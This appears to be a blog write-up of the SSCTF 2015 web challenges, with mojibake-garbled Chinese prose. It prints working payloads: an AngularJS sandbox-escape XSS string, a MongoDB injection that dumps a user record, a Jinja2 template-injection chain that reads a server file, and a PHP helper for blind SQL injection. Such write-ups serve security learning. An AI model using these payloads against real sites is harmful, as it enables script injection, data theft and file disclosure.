LoRexxar's Blog

ssctf2015_writeup

2016/03/01

鍒氬紑瀛︽病浠涔堜簨鎵撲簡2鏈2728鐨剆sctf锛岀粨鏋滆web鍒风殑涓鎰d竴鎰g殑锛岀湅浜嗗嚭鏉ョ殑writeup鎵嶆劅瑙夋槸鐐瑰効铔嬬柤鐨勶紝鏁寸悊涓媤riteup鐪嬬湅鈥

WEB

web1 Up!Up!Up!(鏂囦欢涓婁紶)

鐪嬩簡鍑烘潵鐨剋riteup锛屾垜鎵嶇涓娆$煡閬撲笂浼犺繃婊よ繕鑳借繖涔堝啓銆傘傘
鍘熸礊鏄潵鑷http://www.wooyun.org/bugs/wooyun-2015-0125982

鐪嬬潃鐪熺殑鏄徏锛屾妸閭d釜content-type澶у皬鍐欐敼涓嬪氨杩囦簡鈥

Can You Hit Me锛燂紙augularjs xss锛


鎵撳紑鏄繖鏍风殑锛

绋嶅井娴嬭瘯涓嬪彂鐜板script,alert,on鐨勮繃婊ら兘鏄浛鎹竴娆★紝鐢氳嚦澶у皬鍐欓兘娌℃湁杩囨护锛屾湁鐐瑰効鍌荤殑锛屼絾鏄嵈鎶<杩欐牱鐨勬浛鎹负_锛屼簬鏄兂浜嗕竴澶╀篃娌℃兂鏄庣櫧鎬庝箞杩囥

鎵惧埌涓绡囧崥瀹http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

缁撴灉鍙戠幇augularjs鍙互涓嶉渶瑕佸皷鎷彿锛屾壘鍒颁竴涓猵ayload锛

1
2
3
4
{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1} } };alert(1)//');
}}

绋嶅井鏀逛笅

1
xss={{%27a%27.coonnstructor.prototype.charAt=[].join;$evevalal(%22m=1)%20}%20};alalertert(123)//%22};}}

Legend锛烲egend锛(mongdb娉ㄥ叆)


娴嬭瘯涓嬪彂鐜皊ql娉ㄤ笉鍔紝閭d箞浼拌灏辨槸mongdb浜嗭紝閭d箞鍙堟槸杩欑瘒鏂囩珷浜嗭細
http://drops.wooyun.org/tips/3939
payload:

1
5%27});return%20{title:tojson(db.user.find()[0])}//

娉ㄥ埌涓涓猽ser鏁版嵁锛岀櫥闄嗕笅锛屾壘鎵惧氨鑳芥壘鍒癴lag浜嗐

Flag-Man


浠庤繖閲屽氨娌$偣寮鐪嬩簡锛岄偅涔堝氨鍏堣创涓婂埆浜虹殑writeup鍚с

鐧诲綍github鎺堟潈锛岀劧鍚庡彂鐜板湪Your Profile涓殑Name鏄帶鍒/users涓殑name

Name鏄彲鎺у埗鐨,閬嶅巻鐩綍 鏈鍚庤鍙栨枃浠 寰楀埌flag
http://drops.wooyun.org/web/13057

payload:

1
{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__ == 'catch_warnings'%}{{c.__init__.func_globals['linecache'].__dict__['__builtins__'].open('ssctf.py').read()}}{%endif%}{%endfor%}

璁块棶user鐩綍get flag

AFSRC-Market

娉ㄥ叆鍦╝dd_cart.php椤甸潰锛屾彁浜d=xxx cost涓0 鍒ゆ柇鏈夋敞鍏ワ紝浣嗘槸涓嶈兘鐩存帴寰楀埌鏁版嵁銆備簬鏄腑杞敞鍏

1
2
3
4
5
6
$opts = array ('http' => array ('header'=>'Cookie: PHPSESSID=1;'));
$context = stream_context_create($opts);
$html = file_get_contents('http://edb24e7c.seclover.com/add_cart.php?id=0x'.bin2hex($_GET[x]), false, $context);
$html = file_get_contents('http://edb24e7c.seclover.com/userinfo.php', false, $context);
preg_match('/cost: (.*?)<\/p>/is',$html,$res);
echo $res[1]==0 ? 0 : 1;

寰楀埌鎻愮ず

鍒拌繖閲屽氨璺戝惂锛岀垎鐮磗alt銆

CATALOG
  1. 1. WEB
    1. 1.1. web1 Up!Up!Up!(鏂囦欢涓婁紶)
    2. 1.2. Can You Hit Me锛燂紙augularjs xss锛
    3. 1.3. Legend锛烲egend锛(mongdb娉ㄥ叆)
    4. 1.4. Flag-Man
    5. 1.5. AFSRC-Market